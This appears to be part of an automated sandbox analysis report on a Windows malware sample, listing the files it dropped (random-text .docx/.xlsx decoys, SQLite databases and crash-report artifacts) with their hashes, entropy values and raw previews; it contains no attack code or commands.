Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\ProgramData\DQOFHVHTMG.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702862417860716
Encrypted:	false
SSDEEP:	24:JCmIDeBF63lGj/+QvH8n8JCl7odrVgKqBP68iz:4QQQvHFrTqBPXiz
MD5:	CC0686FCDF6617729D1EDF30F49501F1
SHA1:	02D629848E3D467D8143B057F003E0D7448126CD
SHA-256:	31E15305BC0579F03C51A1D6534B332F32C73ABC6D1B68BA0BDA6FCF97F593C9
SHA-512:	8BD18EB486BA6D2799329D9A8EFB3F52C3D109F5CB070290418DDE4B58756CD023857E4CAE62323C530FA0D3A60372C97D9744C1911A688D3592EABD14005F25
Malicious:	false
Preview:	DQOFHVHTMGONGZJMTUDJRBBZMRPVREMYHKGEHFUQYXZCSKHYXSDQYNTHYMAXXVSVAUOGMFIYPDCQLTHSECIYLWTRIBFEAYHUXINIFQBTJDZMINEEJPQYKGEESHWZILKBYECTPQSECVJBFSZOCCSNOVPIAHSFZWVXPNEQGUOXWPBXJRUYFARJLNHPVXAJZAMAADRKIWNDXYEBYMEBSXOJGEOURNOIBBLONDSVHAOQHPMGXZYJJTGITBJPQEBNXGZYUKARGBCVCJUHSRNNEVOIGUVCJVMNFBKNVZYQADNKMLUVPOTXVOQFRBXUSSRFMQEZCJFQXKCGKGKCVGGVBKNPTNSSMADFJLSDMVXHSOETKCENTGLOVOHUYJFTIWFHKFJRYNOXVIGPLHNBFPFOCWMNOQXWIPYAHPKRVTBFYKRBDVDUAZBSLWPPMXJXDVRCRPKOGCUKNZKBLJGIGZASUAZBLZBMGJSBNQSVTMGEWGLMNJKCSBEAGDUINAXDWMHJASNQRRDMKVXOKATATHRLEOJRPCUOAVQIESHZYWIQCSCAPIAJHBTEIYVRFEDCQDCDIYPMQVBWUEHDPIDAGKYZBMLBDUTEIFYLBSHAWEMNTPQDCSTOWSBZWQEBLVBNUWKZFUDMPBKETDOEOIXRFTDUFIBPBSUHXQTCPRPZAKDTRWMGSAVOZBNDDMDIHBSGIPOMYLKSGKUWRGKNXSOLUZDUZYQFQTKMNWLSYKVAQVIHJTFYNRTERQMIRVMLNWEIMHPIWEWIZJJRGOCBVHFGCSCPAIQYTEMYIQJKVUFAZERTMPUQSRHOZHOYABIALCSKDKHEDHJGKBYVCDZGPYPCLDCEFHWFMLSBOUUGKJFXSVKJVYVTSMIZISSWNRRWBNOMXZCOJAULXRXTNHTYWTZNFOKXVGZMTRVOSMSRMYBHKSHRCPZSSMDBJOTQQRGYIHEMZHHSWECVAOPVNLGBYHZVZPLQHOTCJNPUXICWZBLKAQFGUZPW

C:\ProgramData\DUUDTUBZFW.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\ProgramData\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690299109915258
Encrypted:	false
SSDEEP:	24:0C2jKPS/GeHBPaNDdBKW/PXAx+sTTqBVw8tk7LI/csnfv:UWKPaNjKW/PwxfTixkY/cSfv
MD5:	F0D9DE697149ECBC1D88C7EA4841E5BD
SHA1:	06A2A47C12B3554397AA0C8F483411CAB366947D
SHA-256:	5BE0708B77E41FC490ECEC9CDFF20C9479FC857E47CC276D6F68C0895EA68FB2
SHA-512:	E9953E00241C3FB48E267F1A49E2C53FEE4240415C7A48FAD089742C6C4AA1C5A9CCFEE616FC91EB29C1C8252A3095163A515ABA96A1F0B41A8B129929696917
Malicious:	false
Preview:	EEGWXUHVUGUAGDCAESAKQJADEXSKGQOTKSMYVIQMWCXKMREFNGUJHWRPPFJWEQHLMDSTAHLHBQSXLRGVYEPBLZILRXLTPZSELULGEDFWQHJHNIHNCTGEIAAPQHNOFANJGPRIYVQSOFCGDPFBTNYILXIPYTWVOYXFUCEEQWZRPXFERZCPKKZAHOYWHFAYDMSXERUPTEZISMPADRFDIWGTWAXETEOPJYWDNGCDFFZUXZZSPZVIILCQXOFDOGUOSZYPXXVLSNAWWPHQGNSYQXOUOGPFDMDNPFUONUSGUOUKYHHGHFFZYEDSZVDRUEJKGSHEMJARIAEZZDBZJFCMNUJIHQFHGDONGFEZRYCZYIAOXAXGWENMTPOKNMZPJSZVCDZRZPFIIYHXITKZBLAJXANTSBCWIGABZKBTKDJRSTSKYORPMNGHCZWCLOVFPZBMYKBYDRXMFUQJDNWZFCVEOXPGJMBQZRUEOTLHEFHKDZLVFBXLUSXRAXKVLWGOWARAQZHIMTYBWKPLWNJFMLQVXGRMIGEIPZEIFBYZRYNEEZHFMFOGMBEWLJPBXWVYHVEUKSKVKINVMDJKCSAOUXTMIHLOJXLTEKLKJDYABXRPKNGFOXISIFXHABTYQIPUCFNIJWNCTAFGYEIBCCNXPZQAGPHNNRICKSKCXWERLWTFSJWUSCBTVWSYUVWXJQHMSZYHAHYELYFPIBFZETDRPQBQHKMCXRRCAEYFIERXQZVCDZZBPQJJDQUDHKPMDBXPEBPFURYAPUWVWVJRWXHFXQGMVUGOILYXGFSMEFMKLBFACOSIKHHXRBRGYVIVAOTFNIIOQUZTHBZGOGPVUVYSYNHRKOADWYTLCNTHHCZYXXGFCXMFHZBZBCCMTYSROXNAHKABYAXPWRNKHCJYLAMQAUZBVJWHFXISFSKFXGFPDIOTITGPUETUYHRIXQOTIGEVDQWEBJVPDIUZVQFUBWREJIPSNXDGEKXKULZFHZQHQXPMBIYA

C:\ProgramData\ERWQDBYZVW.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.693387219649247
Encrypted:	false
SSDEEP:	24:cKD4GnUeIGmYZ3xj/6MWpfKA62w69AMDrqtYOwCn:c0zVIoZAMIfKd6qtHwG
MD5:	0DD7B9D09688F0DF426AD874CBB55C1A
SHA1:	C3F68DD587EBDEFC8EB7D2BA1DBC934CB80078D6
SHA-256:	E643E26A8C4AB04753A7DC86B96596D84D2F206824562DBE0698FC265F428557
SHA-512:	E8C3B2FE3A80A11D5AB6ADAF237C2004ECD019D7D4D924A866DCEEDFE5F7014B117ED7934A96F6363F84F664293C1269311F1A3E71FFD83596AF94C525ECBF2A
Malicious:	false
Preview:	ERWQDBYZVWPGUNBIAFNNAESQLJTDAZSIUQNUHSXBNCVZEBOLFNOXWWDBHKAIDHUAIYKPTNLMHYOHNVLVWHOTUSZMLJHXUMPVOFHSYHABZINQZOYDUTIDALDSCJFFLSDNATXKPWKBKETSNUWYWWWFCTKWXDMIPWCGWGFSDHADLCATHLWVZHACGWRLBSQBJQBMPFZSSKTBXLAZYCPVFDLIOCQNZMEMJMNPFLUVVDEXROLRPYLUFWJUJCVKDUSKEVXTCJOWMCLAFJHFVNXIZZDHJBBLFXRWFOJLEESKJRKEZQADCCUUUPDWNVNXMPEQDIDZXCPORSSRXYRTLNPGZEXCSLTAYBSDBLYBHUCDPZHLNMNWOEPHTFEAHOYIYVALBRWPPTHSZINHJUWASYKMYSWZZGCEAZASFSXOWEGLHQBWZNDGMNOOAPPTAVEZZVFPNMXEOHYEFWNYLUEHNJTIDGBTYZVFFDZGLFJKUZGPEBUDHIIYHWCBCIZDBTHDBSIGFDGRNYWXTXEVCAXVJALLBWPGSSLOSWFDNMZLRVTZDQPUMQUXUBKWLPBVZMCWIYNMVTMZSVXLOOWKULHHHYRNRHYGNSOMNYGPKEMHMHKTFWYSESNCJCZRLNPMQQKIFPGNSEEQOSTQANXSJGMYTMNOTACJPQDJMUADZDEUSWOYZYJJUDMMEEEFMBHDLMOIFZDMYGUDVUQEYDZHKMRQTJUOTAHNKGUWVIBDPNIXGKQRWYLKZACERHQANHTCUWRFZDAXZCEYKRPCZMVZCLUUTPOUEYWKJUZLSRHYITFAYPXNXLDRHUSJEPJCIDVXNABTUNUCNCVPEHABSVQYGWDOMTKTCXPMLOESGOGTDSMYSKFOLMYLOTKZOWPHIPFTLGVMTKEKGGZPBLBBAXHZRGMETBZHMGYANRZYSXZVQQQHGGFESFRHFMIEGBNXBFQYGPEVSGKBQFKKDEPLVVGOKWKUZLMCVUESMGOGTMKAAFBTCQRGUJLT

C:\ProgramData\FIIEGDBAEBFIIDHJJJEBAAAKJE

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBKJDGI

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\HCAEGCBFHJDGCBFHDAFB

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HMPPSXQPQV.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698711683401115
Encrypted:	false
SSDEEP:	24:qKHpKPokvebe5xXL3g76mBU/gS2JBbl20IS7pnXk:Rpcjnxbw7TYgS2nbzIS7pnXk
MD5:	47643CE7571E0C995094D7CE5F2005D7
SHA1:	40D42828B2F68C625EBD884FB8AF5B20F5A1DF9C
SHA-256:	1D642D4EC7BC821B0FFA28C3F2702C875C922139D8001EADD664EBCCF8D321B3
SHA-512:	3AAD0470C01D2609662C0B8D146BA79132B404C669C22032D085233E2D30725797AC2E15A11F54DFE00E4B6CA6E914E3439D4775B3AF6D782334FE9424F485A5
Malicious:	false
Preview:	HMPPSXQPQVZTKYGXRLZXZQHGCZSWFSMKAZTFZQVPBWYDEIQOYRZBKZROCVLLNDGOXMZATHCHJWBWCKMDMUVOMUCFYNBSIKMCOOAGLUHDSCAREEEQGTRYCAFLTFVCHREFHJJALACUPWFTGZJJVRRQBVOZGXIEUBTJBNHNAXRWAWTUYQZIZWPARDBZBFGZUBQQPINOCLFOLDPTMWQVUUBDSNGDFVMEOTHPNKBOMDPGLFXUXBXHUOTYRPUQTUJPKLUSNTISPNFAHVFBBWEWJQFBJFCDDWUUKCQJNEKMUTJEZKKMXXOCBOVMCGGYTPDYBYYFVGHQJJBCDHYWPXJUJWPNURQCUHPTATLFRAOGUCJWWSBAITHVPDRYRFCTPIWHJVKSAXOIPKHISTBCDZISGIVPPYDJLJWFRNVNCWIOINKYQLAFVLCPSGCZABGNTUVGEDQZGQNDECUBPLLOYUYTHXDNNCAXKLHFZXBBAWBICFREGZBLZZMPWRLUSXUNEXAKLSJETGNCJTTGSNPPSHZUKZDHHYHBBWKJUSIBAKGKHQJINZHCWLBCIIUGTVVLNEZXUBIPUVRAILLENTRJYFNIBHNOUNYAIFQBNUMFUSXNGITFIFZKTSFAQXDYVBIUCIUYJIGJTIJHWTPPRJQVSBHHUXLZRPPJOWJAPSVQQVKLFHKXZRPEJBFXNKVNBCPMLRQGCJINKLLBJVROFAFCDRFCDAMIDEYSZDWNLUMJZXGWKOIKNAYVXPYRZWMBNAAFKFOPCVNGUECOARMDWJVYVUQQAFEGKCYXVVGXPHPEVOMRADTQDTJSHAKHPNNOGUDWBRXDJFEMSJTJUJKHZONBLGDCDDUDTRQKPOFACELSKHFSBPKXKDGWOKSDBAMWLKXEAOOHWVOAQZGZCNSDWOXSHPTFMVMYQXTRNMUPZSFQXOQLPUFJWHWTXXIRMQXDPVAJKHMSCGTFVJKECYILRMHGFBWQKUNTRVZTBJQJAKTSJUIDOLPL

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_bUcIhJ4VHm.exe_299f4611d8ec3b2647c7ae1051883f5e2fe7f8_8f292b08_60c9164b-2ceb-41af-98bc-8b57164cf0a2\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1457398226384086
Encrypted:	false
SSDEEP:	192:E9CvXr1T0WuJhEjxpZrP2fV/mzuiFyZ24IO8rY:kCvXr1AWuJhEj9KezuiFyY4IO8r
MD5:	832335532F7A9A2AEAA8AE64A043A50F
SHA1:	31DCA11C97A9AF8CC89BCED6905F9D6D08FAA718
SHA-256:	EF1F5D94AF426E0E4E1BF8758930D532F78E52963CC59DC9E44AE33D56796224
SHA-512:	0FBE23011B2D6E098A2B506A916A6CA113F6A3A8DAAD40240A82DED950C1DD7ED69523410449B2C75591AF1308027AD916CDE2E5267B942EDE456944C3EA266E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.5.4.8.1.0.7.6.1.6.7.5.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.5.4.8.1.0.8.0.5.4.2.5.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.c.9.1.6.4.b.-.2.c.e.b.-.4.1.a.f.-.9.8.b.c.-.8.b.5.7.1.6.4.c.f.0.a.2.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.a.a.0.6.6.b.-.2.5.a.6.-.4.3.4.0.-.8.1.3.3.-.8.5.7.6.d.7.c.a.6.f.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.b.U.c.I.h.J.4.V.H.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.6.8.-.0.0.0.1.-.0.0.1.4.-.e.6.3.4.-.0.0.7.4.4.9.9.7.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.b.8.6.4.9.9.2.7.7.c.f.4.a.9.e.e.2.7.a.0.7.e.d.9.6.8.7.a.8.d.a.0.0.0.0.f.f.f.f.!.0.0.0.0.3.d.9.8.f.f.f.1.9.f.f.3.6.e.1.b.b.3.0.7.e.8.8.5.b.c.2.2.b.f.7.d.2.e.8.4.e.9.4.1.!.b.U.c.I.h.J.4.V.H.m...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA09.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Apr 25 19:48:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57126
Entropy (8bit):	2.5766381629602906
Encrypted:	false
SSDEEP:	192:kUEqMXL/NtkcX6ES4X4BfOQOJwtezGwqhKFPDxDzTxuq/8Nf1/aB1CsQM+w2qjDJ:HGNtkFEVQEkpMTO4cT5wv8V3q2
MD5:	85B4CF7DEBADFC0E804996458AD7988F
SHA1:	F1D99A81BBB5538E95529404F4B07EAB124DF7FA
SHA-256:	B711A6FD988B6F54F54A43DE0BAEFAB705CB22289A1D9464925909BE115F8FAE
SHA-512:	DC4D6E659499AC0C1C36AEA6788BF285DE8659F2F912B022DA53151FE6F1E2A6C16AF1EF9042718522EAF81A026F7E4562BD8EA0CDBEA2941291953A6BBCAC47
Malicious:	false
Preview:	MDMP..a..... .........f............4............ ..<...........~9..........T.......8...........T............Z..v...........((.........................................................................................eJ.............GenuineIntel............T.......h...e.f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB23.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	3.703054461177592
Encrypted:	false
SSDEEP:	192:R6l7wVeJWj6Q6YEI7SUIlqgmfvF3pDO89bkWsf5Bsm:R6lXJq6Q6YEUSUIlqgmfvFVk1f5f
MD5:	76FD22062D67B5B5CF08CCDC0F87B54D
SHA1:	9B7DECA0494E3CD8FC40934476223F32E81AEDDB
SHA-256:	4B622C5E3B4CFF37E3CD4FE5D39ADFFEBA0388AFF0B862FD7735ACC2676EB7DD
SHA-512:	EBE6E09F9BAD5DF165ADEC9DCE231CD5E020F58114E7A2021636CBE30356D686735A284CCA60CBC555189AB94C532ADD20885D285325E9EC15226ABF65D5C72C
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB43.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.470534005091983
Encrypted:	false
SSDEEP:	48:cvIwWl8zsUJg77aI9ADWpW8VYTYm8M4JtmmpFz+q80vTGwtS5XTd:uIjfSI7Ky7V7J7Wwc5XTd
MD5:	0A8ABB48CD26F430AEE593F804739E90
SHA1:	F14CBCE2FC28E202F864736FDA82EE34A452B43F
SHA-256:	1FA938FFA1169C8C94D5F724952CB6F2D8D8A3359D6344F62641C88543D83401
